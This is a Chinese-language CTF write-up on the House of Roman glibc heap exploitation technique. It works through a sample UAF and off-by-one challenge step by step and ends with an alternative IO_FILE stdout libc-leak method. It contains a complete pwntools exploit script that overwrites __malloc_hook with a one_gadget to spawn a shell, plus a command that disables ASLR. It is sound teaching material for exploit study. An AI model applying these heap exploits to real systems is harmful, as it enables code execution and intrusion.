House-Of-Roman技术分析及例题新解
字数 1163 2025-08-24 16:48:16
House of Roman 技术分析与利用详解
一、技术概述
House of Roman 是一种结合 fastbin attack 和 unsortedbin attack 的利用技术,主要用于绕过 ASLR 保护。该技术特点:
- 仅需一个 UAF 漏洞和创建任意大小 chunk 的能力
- 利用 12-bit 爆破获取 shell
- 结合了 fastbin attack 和 unsortedbin attack
- 适用于 PIE 和 NX 开启的环境
二、漏洞程序分析
示例程序保护机制:
- 开启 PIE 和 NX
- 本地调试可关闭 ASLR:
echo 0 > /proc/sys/kernel/randomize_va_space
程序功能:
- 输入 name 到 bss 段
- 菜单功能:
- Malloc
- Write
- Free
漏洞点:
- Malloc 中 size 无限制
- Write 存在单字节溢出漏洞
- Free 后未置空指针,存在 UAF
三、利用步骤详解
第一步:修改 fastbin fd 指向 malloc_hook-0x23
-
堆布局:
malloc(0x18, 0) # heap_ptrs[0] - 用于 off-by-one 修改 heap_ptrs[1] 的 size malloc(0xc0, 1) # heap_ptrs[1] - 用于修改 fastbin fd malloc(0x60, 2) # heap_ptrs[2] -
伪造 size:
fake = "A"*0x68 + p64(0x61) # 在 heap_ptrs[1]+0x78 处伪造 size write(1, fake) -
释放 heap_ptrs[1] 到 unsorted bin:
free(1) # fd 和 bk 都指向 main_arena+88 (0x7ffff7dd1b78) -
申请新 chunk 并修改 size:
malloc(0xc0, 1) malloc(0x68, 3) malloc(0x68, 15) # 用于修复 fastbin 链 malloc(0x68, 18) # 用于最后 double free edit(0, "\x00"*0x18 + "\x71") # 修改 heap_ptrs[1] 的 size 为 0x71 -
修改 fastbin fd:
free(2) free(3) edit(3, "\x20") # 修改 heap_ptrs[3] 的 fd 指向 heap_ptrs[1] edit(1, "\xed\x1a") # 修改 fastbin fd 指向 malloc_hook-0x23
第二步:修复 fastbin 链
-
申请 chunk 获取 malloc_hook 附近内存:
malloc(0x60, 0) malloc(0x60, 0) malloc(0x60, 0) # 现在 heap_ptr[0] 指向 malloc_hook-0x23 -
修复 fastbin 链:
free(15) write(15, p64(0))
第三步:unsortedbin attack 写入 main_arena 地址
-
更新堆布局:
malloc(0xc0, 1) malloc(0x18, 2) malloc(0xc0, 3) malloc(0xc0, 4) -
执行 unsortedbin attack:
free(1) over = "B"*8 + "\x00\x1b" # 修改 bk 指向 malloc_hook-0x10 write(1, over) malloc(0xc0, 1) # 现在 malloc_hook 内容为 main_arena+88
第四步:修改 malloc_hook 为 one_gadget
-
查找 one_gadget:
one_gadget libc.so.6例如使用 0xf02a4
-
覆盖 malloc_hook:
over = "A"*0x13 + "\xa4\xd2\xaf" # 覆盖后6位为 one_gadget 地址 write(0, over)
第五步:触发 shell
free(18)
free(18) # double free 触发 malloc_printerr -> malloc -> one_gadget
四、新解法:IO_FILE 泄露 libc
当 ASLR 开启时,传统方法成功率低,可采用 IO_FILE 泄露 libc 方法:
- 引起堆块重叠
- 修改下一个 chunk 末尾两字节将块申请到 stdout
- 泄漏 io_stdin 地址
- 用堆块重叠写 malloc_hook 为 one_gadget
- 触发 double free
示例 exp:
from pwn import *
def add(size, idx):
p.sendlineafter('Free', "1")
p.sendlineafter('Enter size of chunk :', str(size))
p.sendlineafter('Enter index :', str(idx))
def free(idx):
p.sendlineafter('Free', "3")
p.sendlineafter('Enter index :', str(idx))
def edit(idx, data):
p.sendlineafter('Free', "2")
p.sendlineafter('Enter index of chunk :', str(idx))
p.sendafter('Enter data :', data)
p = process('./new_chall')
libc = ELF('./libc-2.23.so', checksec=False)
# 初始布局
p.sendlineafter('Enter name :', 'FMYY')
add(0x18, 0)
add(0xC8, 1)
add(0x68, 2)
edit(1, '\x00'*0x68 + p64(0x61))
free(1)
add(0xC8, 1)
add(0x68, 3)
add(0x68, 4)
add(0x68, 5)
edit(0, '\x00'*0x18 + '\x71')
# 修改 fastbin fd
free(2)
free(3)
edit(3, '\x20')
edit(1, '\xDD\x25')
# 泄露 libc
add(0x68, 9)
add(0x68, 9)
payload = '\x00'*0x33 + p64(0xFBAD1800) + p64(0)*3 + '\x88'
add(0x68, 9)
edit(9, payload)
libc_base = u64(p.recvuntil('\x7f').ljust(8, '\x00')) - libc.symbols['_IO_2_1_stdin_']
libc.address = libc_base
# 写 malloc_hook
free(4)
edit(4, p64(0))
add(0x68, 0)
free(0)
edit(0, p64(libc.symbols['__malloc_hook'] - 0x23))
add(0x68, 0)
add(0x68, 0)
p.sendlineafter('Free', '2')
p.sendlineafter('Enter index of chunk :', '0')
p.send('\x00'*0x13 + p64(libc_base + 0xF02A4))
# 触发
free(1)
free(1)
p.interactive()
五、总结
- 无泄露时:使用 House of Roman 全程爆破
- 可泄露时:打 IO_FILE 泄露 libc 后常规利用
- 关键点:
- 精确控制 fastbin fd
- 正确修复 fastbin 链
- unsortedbin attack 写入 main_arena 地址
- 准确覆盖 malloc_hook